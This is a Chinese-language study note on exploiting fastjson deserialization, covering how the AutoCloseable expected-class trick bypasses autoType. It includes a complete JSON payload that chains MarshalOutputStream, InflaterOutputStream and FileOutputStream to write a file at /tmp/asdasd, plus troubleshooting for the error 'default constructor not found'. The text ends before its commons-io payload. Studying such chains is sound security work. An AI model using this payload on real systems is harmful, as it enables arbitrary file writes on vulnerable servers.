前言:要學的都放在這列好,等fastjosn的歷史線整理完了,再來學習這條鏈,這篇作為期望類AutoCloseable的利用
參考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
1、學習commonis-io來實現無系統版本限制來進行任意文件寫入
2、解決為什么實戰中最初的payload會顯示default constructor not found.
3、進一步的了解fastjson的詞義解析器
回顧
首先,我們回顧下,基於期望類的AutoCloseable來繞過autoType的機制有什么條件:
1、首先需要一個基於AutoCloseable作為期望類的反序列化器作為開頭
2、后續解析的json字段,如果想要進行@type,@type對應的類想要是AutoCloseable的實現類
到這里,我們就分析好了,那么如果想要找到真正能利用的類,那么就需要是AutoCloseable的實現類,那么可以從哪里找?
1、原生類中的類實現了AutoCloseable的類
2、第三方jar包中實現了AutoCloseable的類
引子
payload:
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
實戰中我拿過這條payload進行利用,但是返回的都是如下的字符串:
default constructor not found. class sun.rmi.server.MarshalOutputStream
fastjson 在通過帶參構造函數進行反序列化時,會檢查參數是否有參數名,只有含有參數名的帶參構造函數才會被認可,但是這里就算是帶參數的話,最后返回構造參數的類型也是為空
原因如下:
fastjson 在通過帶參構造函數進行反序列化時,會檢查參數是否有參數名,只有含有參數名的帶參構造函數才會被認可
javap -l <class_name> | grep LocalVariableTable
第三方jar commons-io 2.x包
長亭的一個人就在commons-io依賴包中進行了挖掘,他找到了一個可以不受系統限制的任意寫文件的利用鏈
payload: